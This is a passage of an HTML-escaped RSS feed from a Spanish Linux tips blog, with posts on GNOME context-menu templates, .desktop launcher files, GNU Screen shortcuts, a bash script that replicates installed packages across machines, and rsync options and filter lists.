&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">f_create&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;fichero.txt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">with&lt;/span> &lt;span class="nb">open&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">f_create&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;w&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">w&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">w&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">t&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;File created -&amp;gt; &amp;#34;&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">f_create&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div></description></item><item><title>Crear Fichero con el menú contextual</title><link>https://www.procamora.com/p/crearmenucrearfichero/</link><pubDate>Tue, 08 Dec 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/crearmenucrearfichero/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Crear Fichero con el menú contextual" />&lt;p>En gnome shell para poder crear un fichero con el menú contextual tenemos que crear un documento nuevo (con gedit o cualquier otro editor de texto) y guardarlo vacío dentro la carpeta &lt;code>~/Plantillas&lt;/code> (templates) de nuestro directorio personal. El nombre que elijáis será el que os aparezca después en el menú de nautilus (Files).&lt;/p>
&lt;p>Una vez creado el documento, lanzamos el ejecutor de órdenes con la combinación de teclas &lt;code>Alt+F2&lt;/code> y reiniciamos Gnome Shell con la orden
&lt;code>r&lt;/code>&lt;/p>
&lt;p>&lt;img src="https://www.procamora.com/static/images/crearmenucrearfichero.jpeg"
loading="lazy"
alt="ordenes.jpeg"
>&lt;/p>
&lt;p>Y ya tenemos la función de crear documento nuevo activada&lt;/p></description></item><item><title>Crear Lanzador GnomeShell</title><link>https://www.procamora.com/p/crearlanzadorgnomeshell/</link><pubDate>Sun, 06 Dec 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/crearlanzadorgnomeshell/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Crear Lanzador GnomeShell" />&lt;p>Title: Crear Lanzador GnomeShell
Date: 2015-12-6 17:30
Category: Linux
Tags: linux, gnome shell
Slug: crearlanzadorgnomeshell
Summary: Para crear accesos directos en el menu de gnome shell tienes que tener un fichero en.
Status: published&lt;/p>
&lt;p>Below is a sample of desktop file:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;span class="lnt">9
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">[Desktop Entry]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Type=Application
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Encoding=UTF-8
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Name=Application Name
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Comment=Application description
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Icon=/path/to/icon.xpm
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Exec=/path/to/application/executable
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Terminal=false
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Categories=Tags;Describing;Application
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Explanation&lt;/p>
&lt;ul>
&lt;li>&lt;code>[Desktop Entry]&lt;/code> the &lt;code>Desktop Entry&lt;/code> group header identifies the file as a desktop entry&lt;/li>
&lt;li>&lt;code>Type&lt;/code> the type of the entry, valid values are &lt;code>Application&lt;/code>, &lt;code>Link&lt;/code> and &lt;code>Directory&lt;/code>&lt;/li>
&lt;li>&lt;code>Encoding&lt;/code> the character encoding of the desktop file&lt;/li>
&lt;li>&lt;code>Name&lt;/code> the application name visible in menus or launchers&lt;/li>
&lt;li>&lt;code>Comment&lt;/code> a description of the application used in tooltips&lt;/li>
&lt;li>&lt;code>Icon&lt;/code> the icon shown for the application in menus or launchers&lt;/li>
&lt;li>&lt;code>Exec&lt;/code> the command that is used to start the application from a shell.&lt;/li>
&lt;li>&lt;code>Terminal&lt;/code> whether the application should be run in a terminal, valid values are true or false&lt;/li>
&lt;li>&lt;code>Categories&lt;/code> semi-colon (&lt;code>;&lt;/code>) separated list of menu categories in which the entry should be shown&lt;/li>
&lt;/ul>
&lt;p>Command line arguments in the Exec key can be signified with the following variables:&lt;/p>
&lt;ul>
&lt;li>&lt;code>%f&lt;/code> a single filename.&lt;/li>
&lt;li>&lt;code>%F&lt;/code> multiple filenames.&lt;/li>
&lt;li>&lt;code>%u&lt;/code> a single URL.&lt;/li>
&lt;li>&lt;code>%U&lt;/code> multiple URLs.&lt;/li>
&lt;li>&lt;code>%d&lt;/code> a single directory. Used in conjunction with %f to locate a file.&lt;/li>
&lt;li>&lt;code>%D&lt;/code> multiple directories. Used in conjunction with %F to locate files.&lt;/li>
&lt;li>&lt;code>%n&lt;/code> a single filename without a path.&lt;/li>
&lt;li>&lt;code>%N&lt;/code> multiple filenames without paths.&lt;/li>
&lt;li>&lt;code>%k&lt;/code> a URI or local filename of the location of the desktop file.&lt;/li>
&lt;li>&lt;code>%v&lt;/code> the name of the Device entry.&lt;/li>
&lt;/ul>
&lt;p>Este serie un ejemplo de un fichero&lt;/p>
&lt;p>&lt;code>vim /usr/share/applications/thunderbird.desktop&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;span class="lnt">9
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">[Desktop Entry]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Encoding=UTF-8
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Name=Thunderbird
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Comment=Access the Internet
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Exec=/opt/thunderbird/thunderbird
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Terminal=false
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Icon=/opt/thunderbird/icons/logo.png
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Type=Application
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">Categories=Networkr;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>##Importante
Para hacer que se pueda hacer: &amp;ldquo;abrir con&amp;rdquo; de cualquier tipo de fichero/extension hay que añadir &lt;strong>%F&lt;/strong>&lt;/p>
&lt;p>&lt;code>Exec=geany %F&lt;/code>&lt;/p>
&lt;p>Fuentes: &lt;a class="link" href="http://unix.stackexchange.com/questions/103213/how-can-i-add-an-application-to-the-gnome-window-manager" target="_blank" rel="noopener"
>1&lt;/a>&lt;/p></description></item><item><title>Uso de Screen</title><link>https://www.procamora.com/p/comando_screen/</link><pubDate>Sun, 06 Dec 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/comando_screen/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Uso de Screen" />&lt;p>GNU Screen es una herramienta destinada a la terminal de Linux con la que se puede crear y manejar varias sesiones y programas de manera simultanea desde una sola terminal.&lt;/p>
&lt;p>Pero además, permite cerrar la terminal y volverse a conectar a la sesión de screen que conservará las &amp;ldquo;terminales virtuales&amp;rdquo; que tuviéramos abiertas.&lt;/p>
&lt;p>Instalar: &lt;code>sudo apt-get install screen&lt;/code>&lt;/p>
&lt;p>###Opciones básicas&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">-S sockname Da nombre a la sesión [pid].sockname.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">ls Lista las sesiones abiertas de screen.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-r Reattach a un sesión. Es posible especificar el nombre ej: screen -r sockname
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-t título Permite dar un título a una ventana.
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Ejemplo: &lt;code>screen -S NombreSesion -t NombreVentana&lt;/code>&lt;/p>
&lt;p>###Manejo de las ventanas&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="o">[&lt;/span>Ctrl&lt;span class="o">]&lt;/span>+&lt;span class="o">[&lt;/span>A&lt;span class="o">]&lt;/span>,&lt;span class="o">[&lt;/span>C&lt;span class="o">]&lt;/span> Nos permite abrir más terminales virtuales
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">[&lt;/span>Ctrl&lt;span class="o">]&lt;/span>+&lt;span class="o">[&lt;/span>A&lt;span class="o">]&lt;/span>,&lt;span class="o">[&lt;/span>N&lt;span class="o">]&lt;/span> Nos permite cambiar de una terminal a otra
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">[&lt;/span>Ctrl&lt;span class="o">]&lt;/span>+&lt;span class="o">[&lt;/span>A&lt;span class="o">]&lt;/span>,&lt;span class="o">[&lt;/span>Shift&lt;span class="o">]&lt;/span>+&lt;span class="o">[&lt;/span>C&lt;span class="o">]&lt;/span> Nos permite renombrar el terminal, por defecto todos se llaman bash
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">[&lt;/span>Ctrl&lt;span class="o">]&lt;/span>+&lt;span class="o">[&lt;/span>A&lt;span class="o">]&lt;/span>,&lt;span class="o">[&lt;/span>D&lt;span class="o">]&lt;/span> Nos permite cerrar la terminal sin cerrar los procesos que se están ejecutando
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">[&lt;/span>Ctrl&lt;span class="o">]&lt;/span>+&lt;span class="o">[&lt;/span>D&lt;span class="o">]&lt;/span> Cierra la terminal, si es la única que tenemos bierta, salir de screen
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">[&lt;/span>Ctrl&lt;span class="o">]&lt;/span>+&lt;span class="o">[&lt;/span>A&lt;span class="o">]&lt;/span>,&lt;span class="o">[&lt;/span>x&lt;span class="o">]&lt;/span> Bloquear todas las terminales con una clave
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">[&lt;/span>Ctrl&lt;span class="o">]&lt;/span>+&lt;span class="o">[&lt;/span>A&lt;span class="o">]&lt;/span>,&lt;span class="o">[&lt;/span>?&lt;span class="o">]&lt;/span> Nos muestra las combinaciones de teclas
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="ejemplo-de-uso">Ejemplo de uso:&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">screen
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Fuentes: [0][0] [1][1]
[0]: &lt;a class="link" href="http://www.muylinux.com/2009/01/05/gestion-remota-desconectando" target="_blank" rel="noopener"
>http://www.muylinux.com/2009/01/05/gestion-remota-desconectando&lt;/a>
[1]: &lt;a class="link" href="https://dreyacosta.com/jugando-con-screen-un-manejador-de-sesiones-linux/" target="_blank" rel="noopener"
>https://dreyacosta.com/jugando-con-screen-un-manejador-de-sesiones-linux/&lt;/a>&lt;/p></description></item><item><title>Ver Diferentes Paquetes</title><link>https://www.procamora.com/p/verdiferentespaquetes/</link><pubDate>Sun, 06 Dec 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/verdiferentespaquetes/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Ver Diferentes Paquetes" />&lt;h2 id="pc-1-funcional">PC 1 (FUNCIONAL)&lt;/h2>
&lt;h3 id="sistemas-basados-en-debian">Sistemas basados en Debian&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#coger todas los paquetes instalados que no sean librerías o common &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">dpkg --get-selections &lt;span class="p">|&lt;/span> grep -v deinstall &lt;span class="p">|&lt;/span> awk &lt;span class="s1">&amp;#39;{print $1}&amp;#39;&lt;/span> &lt;span class="p">|&lt;/span> egrep -v &lt;span class="s1">&amp;#39;^lib.*|common&amp;#39;&lt;/span> &amp;gt; i5.tmp
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="sistemas-basados-en-fedora">Sistemas basados en Fedora&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">dnf list installed &lt;span class="p">|&lt;/span> awk &lt;span class="s1">&amp;#39;{print $1}&amp;#39;&lt;/span> &lt;span class="p">|&lt;/span> egrep -v &lt;span class="s1">&amp;#39;^lib.*|common&amp;#39;&lt;/span> &amp;gt; i5.tmp
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="pc-2-recién-instalado">PC 2 (RECIÉN INSTALADO)&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="cp">#!/bin/bash
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="cp">&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#coger todas los paquetes instalados que no sean librerías o common &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">dpkg --get-selections &lt;span class="p">|&lt;/span> grep -v deinstall &lt;span class="p">|&lt;/span> awk &lt;span class="s1">&amp;#39;{print $1}&amp;#39;&lt;/span> &lt;span class="p">|&lt;/span> egrep -v &lt;span class="s1">&amp;#39;^lib.*|common&amp;#39;&lt;/span> &amp;gt; i7.tmp
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">diff i5.tmp i7.tmp &amp;gt; test.tmp
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#limpieza de lineas innecesarias creadas por diff&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#egrep -v &amp;#39;[0-9]+[a-z]+[0-9]+&amp;#39; test.tmp &amp;gt; test2.tmp # otra forma de sacar las diferencias&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sed -Ei &lt;span class="s1">&amp;#39;/[0-9]+[a-z]+[0-9]+|&amp;gt; |---/d&amp;#39;&lt;/span> test.tmp &lt;span class="c1"># con -e no funciona, investigar&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># poner los sudo&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sed -i &lt;span class="s1">&amp;#39;s/&amp;lt; /sudo apt-get -y install /g&amp;#39;&lt;/span> test.tmp
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">bash test.tmp
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>EN UN FUTURO HACER UN SCRIPT PASANDO PARÁMETRO PARA HACER USARLO&lt;/p>
&lt;p>script.py -p origen
script.py -p destino
script.py -o instalar&lt;/p></description></item><item><title>Uso de Rsync</title><link>https://www.procamora.com/p/2015_12_03_usorsync/</link><pubDate>Thu, 03 Dec 2015 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/2015_12_03_usorsync/</guid><description>&lt;img src="https://www.procamora.com/covers/linux.png" alt="Featured image of post Uso de Rsync" />&lt;p>rsync es una herramienta para sincronizar los ficheros y directorios que tenemos almacenados en un sitio en otro diferente minimizando la transferencia de datos&lt;/p>
&lt;p>###Uso:&lt;/p>
&lt;p>&lt;code>rsync [OPTION] SRC DEST&lt;/code>&lt;/p>
&lt;p>###Opciones básicas&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;span class="lnt">29
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">-r: Modo recursivo.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-l: Mantiene los enlaces simbólicos.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-p: Mantiene los permisos en archivos y subdirectorios.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-t: Mantiene la hora y fecha.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-g: Mantiene el grupo.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-o: Mantiene el dueño (owner).
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-D: Mantiene los archivos de dispositivo (root).
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-a: Es el modo Archive. (Usar a es lo mismo que poner -rlptgoD).
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-t: Preserva los tiempos de modificación de los archivos que están siendo transferidos.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-q: Suprime todos los mensajes que no sean de error,es contrario a -v.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-d: Copia los archivos de un directorio sin utilizar recursividad para copiar los directorios internos.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-l: Copia los symlinks como symlinks
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-L: Copia los archivo a los que un symlink está apuntando cuando encuentre un symlink.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-W: Copia archivos enteros, cuando utilizamos el algoritmo de delta-transfer solo se copia la parte de un archivo que fue actualizada.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-h: Muestra la información que provee rsync en un formato más legible (K&amp;#39;s, M&amp;#39;s, G&amp;#39;s).
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-m: No envía los directorios vacíos.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-z: Comprimirá el bloque antes de pasarlo.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">-n: El comando no haga nada en realidad, se usa para ve si esta bien el script.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">–upDate: Actualiza los ficheros en el destino SÓLO si el origen de la copia han sido modificados
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">--progress: Muestra el progreso de los archivos que están siendo transferidos.
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">--delete: Borra archivos directorio destino si han sido borrados en origen (sincronizas)
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">--exclude=PATTERN: Excluir archivos que coinciden con la expresión PATTERN
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">--exclude-from=FILE: Obtener el conjunto de expresiones del archivo especificado por FILE
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">--include=PATTERN: No excluir los archivos que coinciden con la expresión PATTERN
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">--include-from=FILE: Obtener el conjunto de expresiones del archivo especificado por FILE
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">--files-from=FILE: Incluir los archivos especificados en el archivo FILE
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>####include-from
el carácter + indica incluir
el carácter - indica excluir
/ matchea con el directorio /
/* matchea con todos los archivos en /
/** matchea con todos los archivos y directorios en /
/*** matchea con todos los archivos y directorios en / e incluso también con /
el - * al final indica que lo que no ha sido aceptado hasta entonces se excluya&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-gdscript3" data-lang="gdscript3">&lt;span class="line">&lt;span class="cl">&lt;span class="o">+&lt;/span> &lt;span class="o">*/&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">+&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="n">etc&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="n">ssh&lt;/span>&lt;span class="o">/*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">+&lt;/span> &lt;span class="o">/&lt;/span>&lt;span class="k">var&lt;/span>&lt;span class="o">/&lt;/span>&lt;span class="nb">log&lt;/span>&lt;span class="o">/*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">-&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>####exclude-from&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">*.lnk
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">*.regtrans-ms
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">*.DAT*
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">*.dat*
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">*.LOG*
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">*.log*
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>###Pc local a pc remoto&lt;/p>
&lt;p>Copia archivos mientras muestra el progreso para cada copia.&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
